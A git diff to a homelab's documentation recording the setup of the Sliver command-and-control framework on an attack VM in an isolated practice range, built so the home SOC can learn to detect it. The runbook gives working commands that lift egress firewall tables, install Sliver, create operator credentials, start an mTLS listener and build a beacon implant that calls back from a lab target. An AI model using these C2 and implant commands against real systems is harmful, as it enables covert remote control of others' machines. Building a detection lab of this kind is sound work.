diff --git a/docs/changelog.md b/docs/changelog.md index 7be0ca68..8ea02b5a 100644 --- a/docs/changelog.md +++ b/docs/changelog.md @@ -19,6 +19,36 @@ docstring gives: it is a record, not a claim about now. ## 2026-11-22 +- **The range on `gandalf` is built + ([#421](https://github.com/Gerrrt/HomeLab/issues/421) closed).** The whole of + [`build-the-playground.md`](runbooks/build-the-playground.md) has run: the + host and its two bridges (§1–§2), `Saruman` at `.20` and the closed + management plane (§3–§4), the attack VM `ragnarok` on template 902 (§5), the + three targets (§6), the four-property and leak proofs that ran before any + vulnerable image (§8–§9), and now the C2, Sliver (§5, #1481). Gated on #414 + and the SOC, both long met. What is left on the range is the exercises, each + its own issue in the `last` milestone. Its roadmap entry leaves with this. +- **Sliver is the range C2, installed on `ragnarok`, and a target beaconed + back ([ADR-0095](adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md), + [#1481](https://github.com/Gerrrt/HomeLab/issues/1481)).** `build-the-playground.md` + §5 gains *The C2*. The server (v1.7.9, signature verified against Sliver's + own minisign key) runs as a `sliver` systemd daemon, operator console on + `31337/tcp` on the lease, added to §5's reachability list. The install + lifted the outbound scope and `systemctl restart nftables` put it back, with + forwarding still `0` — the thing #1481 names, because installing Docker would + have turned it on. An mTLS listener on `172.30.30.10:8443` and a Linux beacon + run on `ms3-ub1404` (VMID 101) produced a call-back from `172.30.30.101`, + with the scope on — a range-local reachability proof on `vmbr1`, which Zeek + does not see, not a SOC-visibility one (that is a later exercise with a + domain host on VLAN 30). The scope restore was the lightweight reload; the + full `finish-attack-vm.sh` re-prove (§8 check three, the raw-Ethernet path) + needs `phoenix`'s credentials and is left for the next session. The target + was reverted to `clean`. The install is on the running + VM, not the template, so a `tofu` rebuild of `ragnarok` reruns §5's steps, + as the targets are redone — Sliver is VM state (ADR-0095). The install left + one stale test-beacon record on the server, which Sliver prunes an hour + after its last check-in. This is the last piece of + [#421](https://github.com/Gerrrt/HomeLab/issues/421)'s build. - **`gandalf`'s two audit leftovers are cleared ([#421](https://github.com/Gerrrt/HomeLab/issues/421)).** This corrects the audit-fixes entry below, which recorded both as still open. diff --git a/docs/roadmap.md b/docs/roadmap.md index 886f3127..349a9626 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -110,18 +110,6 @@ Ansible, Sysmon and BloodHound each closed with its issue, and the record is in Gated on the domain, on a household observation, or on something to publish. -- **[#421](https://github.com/Gerrrt/HomeLab/issues/421) Build the range on - `gandalf`.** Gated on #414 and the SOC: an attack VM pointed at an - uninstrumented estate teaches nothing. Both are met. The runbook's §1–§5 - are behind it: the host, its bridges, `Saruman` at `.20`, the closed - management plane, and the attack VM `ragnarok` on template 902. So are §8 - and §9, which ran before any target, because the leak proof must run - before any vulnerable image is on the machine, and then §6, the targets. - Next, Sliver goes on `ragnarok` before the first exercise: - [#1481](https://github.com/Gerrrt/HomeLab/issues/1481). - The name is - [ADR-0106](adr/0106-name-the-range-host-gandalf-and-leave-ifrit-to-its-disabled-amt.md)'s. - → [runbook](runbooks/build-the-playground.md) - **[#1176](https://github.com/Gerrrt/HomeLab/issues/1176) Move the SOC to Wazuh 5.0.** Gated on a stable 5.0 release. It retires filebeat and the certificate generator, and it is the only path that closes the CVE issues diff --git a/docs/runbooks/build-the-playground.md b/docs/runbooks/build-the-playground.md index 13ff1a2a..46f961f9 100644 --- a/docs/runbooks/build-the-playground.md +++ b/docs/runbooks/build-the-playground.md @@ -1031,15 +1031,161 @@ narrow `50 → 30` without the list: Proxmox on `10.0.30.30:8006`, the C2 operator's interface on the attack VM, and whatever the lab's Grafana and RDP into the estate already need on `Saruman`. -As of 2026-11-09 the list is: +As of 2026-11-22 the list is: - Proxmox on `10.0.30.30:8006` and SSH on `10.0.30.30:22`, ADR-0014's rules. - SSH to `ragnarok` on its lease, port 22. +- Sliver's operator console on `ragnarok`'s lease, `31337/tcp` + ([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md), *The + C2* below). The lease is not reserved, so a rule written for #228 names the + segment, not the address. + +### The C2: Sliver on `ragnarok` + +The range's command-and-control is Sliver, on the attack VM +([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md)). It is +chosen to be well-signatured on purpose: the point is for the estate's SOC to +**catch** the channel, so an early miss is a real gap, not an artefact of an +exotic tool. One server binary runs as a daemon on `ragnarok`; an operator +reaches it from a Hicks workstation over the existing `50 → 30` path. Nothing +new is opened toward the house. + +Installing it needs the internet the outbound scope takes away, so lift both +tables for the install and put them back, as above. Pin the release and verify +its signature against Sliver's own minisign key, the way this repository trusts +no third-party binary unchecked. As root on `ragnarok`: -Sliver ([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md)) -is not installed yet. Its operator port joins the list when it is. The lease -is not reserved, so a rule written for #228 names the segment, not the -address. +```bash +set -euo pipefail +# Put the scope back on any exit, so a failed download or signature check +# leaves the VM filtered, not open. `set -e` makes curl or minisign abort the +# block, and the trap still restores the scope. +trap 'systemctl restart nftables' EXIT +nft delete table inet range_scope +nft delete table netdev range_scope_l2 +apt-get install -y minisign +cd /opt && mkdir -p sliver-dist && cd sliver-dist +BASE=https://github.com/BishopFox/sliver/releases/download/v1.7.9 +PK='RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR' +for f in sliver-server_linux-amd64 sliver-client_linux-amd64; do + curl -fSL -o "$f" "$BASE/$f" + curl -fSL -o "$f.minisig" "$BASE/$f.minisig" + minisign -V -P "$PK" -m "$f" # non-zero if it does not verify, which set -e catches +done +install -m0755 sliver-server_linux-amd64 /usr/local/bin/sliver-server +install -m0755 sliver-client_linux-amd64 /usr/local/bin/sliver-client +ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver +sliver-server unpack --force +``` + +The `trap` restores the outbound scope whether the block finishes or a +download or signature check fails part way, so an aborted install never leaves +`ragnarok` without its filter. The server binary generates implants offline, +so the scope is already back before the first one is built. + +The `PK` is Sliver's published minisign public key, taken from its own install +script (`https://sliver.sh/install`) rather than typed from memory. The server +binary is large because it carries the compilers it builds implants with, so +generation is offline — which is why the scope can go back on before the first +implant is built. + +Run the server as a daemon and make an operator config for Hicks (`--lhost` is +`ragnarok`'s VLAN 30 lease, where the operator connects): + +```bash +cat > /etc/systemd/system/sliver.service <<'UNIT' +[Unit] +Description=Sliver C2 server (range, ADR-0095) +After=network.target +StartLimitIntervalSec=0 +[Service] +Type=simple +Restart=on-failure +RestartSec=3 +User=root +ExecStart=/usr/local/bin/sliver-server daemon +[Install] +WantedBy=multi-user.target +UNIT +chmod 600 /etc/systemd/system/sliver.service +systemctl daemon-reload && systemctl enable --now sliver.service +# `operator --save` writes into the directory but does not create it, so make +# it first (0700: it will hold a client certificate and key). +install -d -m 0700 /root/.sliver-client/configs +sliver-server operator --name root --lhost 127.0.0.1 --permissions all --save /root/.sliver-client/configs/ +sliver-server operator --name operator-hicks --lhost "$(ip -4 -o addr show eth0 | awk '{print $4}' | cut -d/ -f1)" --permissions all --save /tmp/operator-hicks.cfg +``` + +**Then re-prove the scope** before the beacon. The install's `trap` already +restored the tables (`systemctl restart nftables` reloads them), and a quick +local check is: + +```bash +sysctl -n net.ipv4.ip_forward net.ipv6.conf.all.forwarding # 0 and 0 +nft list tables # both range_scope tables back +``` + +But that only shows the tables are loaded, not that egress is actually +dropped. The proof #1481 asks for is a rerun of +[`finish-attack-vm.sh`](../../scripts/finish-attack-vm.sh) from `phoenix`, +which reloads the scope and runs §8's check three: forwarding `0`, no NAT in +`nft` or legacy `iptables`, and a raw-Ethernet send to `1.1.1.1` that must be +counted in `out_of_scope` and dropped. Installing Docker would have turned +forwarding on; Sliver's install does not, and the script is what confirms it. +**Its checks must pass before the beacon below.** + +The operator config `operator-hicks.cfg` is carried to the Hicks workstation +and imported with `sliver-client import operator-hicks.cfg`; the console is +then `sliver-client`. The config holds a client certificate and key, so it is +**never committed** (ADR-0095, [`security.md`](../security.md)): it is a +credential, like an implant or a profile. + +**The operator port is `31337/tcp` on `ragnarok`'s lease**, Sliver's +multiplayer listener. Add it to the list above. It is reached from Hicks over +the `50 → 30` path, not from `garuda` (which is defensive, ADR-0091). + +A beacon proves the channel works end to end. Start a listener on the range +bridge, build an implant for a target, run it there, and watch it call back. +The listener is on `172.30.30.10` (`eth1`, `vmbr1`). **This is a range-local +C2 reachability proof, not a SOC-visibility one:** the callback stays on +`vmbr1`, the routeless bridge, which the estate's Zeek never sees — Zeek +mirrors `Saruman`'s `vmbr0` ([`network.md`](../network.md)), not this one. SOC +visibility is what an *exercise* measures, when a **domain host on VLAN 30** +beacons — that callback crosses the segment the SOC watches (ADR-0095), and a +miss there is a real detection gap. Here the point is only that the C2 runs +and the scope does not block a legitimate range callback: + +```bash +# in the console (sliver-client), or piped: printf '…\n' | sliver-client +mtls --lhost 172.30.30.10 --lport 8443 +generate beacon --mtls 172.30.30.10:8443 --os linux --arch amd64 --seconds 5 --save /tmp/rag_beacon +``` + +The implant is delivered the way an exercise would — here, over SSH to a +target on `vmbr1` — and run. Within a few beacon intervals, `beacons` in the +console lists it. The outbound scope stays **on** for this: the callback is +`172.30.30.x → 172.30.30.10`, inside the range subnet the scope allows, which +also shows the scope does not break legitimate range C2. + +Keep implants and listeners on `10.0.30.0/24` and `172.30.30.0/24` only +(ADR-0014): the scope on `ragnarok` enforces it, and a listener bound off those +subnets is the mis-scope to avoid. Per [`security.md`](../security.md) and the +`docs/exercises/` rules, exercise files name the framework, transport and +technique by ATT&CK ID and carry no profiles, implants, operator configs or +keys. + +> **Installed on `ragnarok` 2026-11-22**, v1.7.9, signatures verified. The +> daemon listens on `31337`. A Linux beacon over mTLS on `172.30.30.10:8443` +> was run on `ms3-ub1404` (VMID 101, `172.30.30.101`) and called back — a +> range-local reachability proof on `vmbr1`, not a SOC-visibility one. The +> target was reverted to `clean` afterwards. The install lifted the scope and +> `systemctl restart nftables` put it back, with forwarding `0` and a send +> past the segment refused. The full re-prove — `finish-attack-vm.sh` from +> `phoenix`, §8 check three, which also exercises the raw-Ethernet path — was +> not rerun here, because it needs `phoenix`'s credentials; run it before the +> next session uses the range. The install is on the running VM, so a `tofu` +> rebuild of `ragnarok` loses it and this subsection is rerun — like the +> targets, Sliver is VM state, not part of the template. ---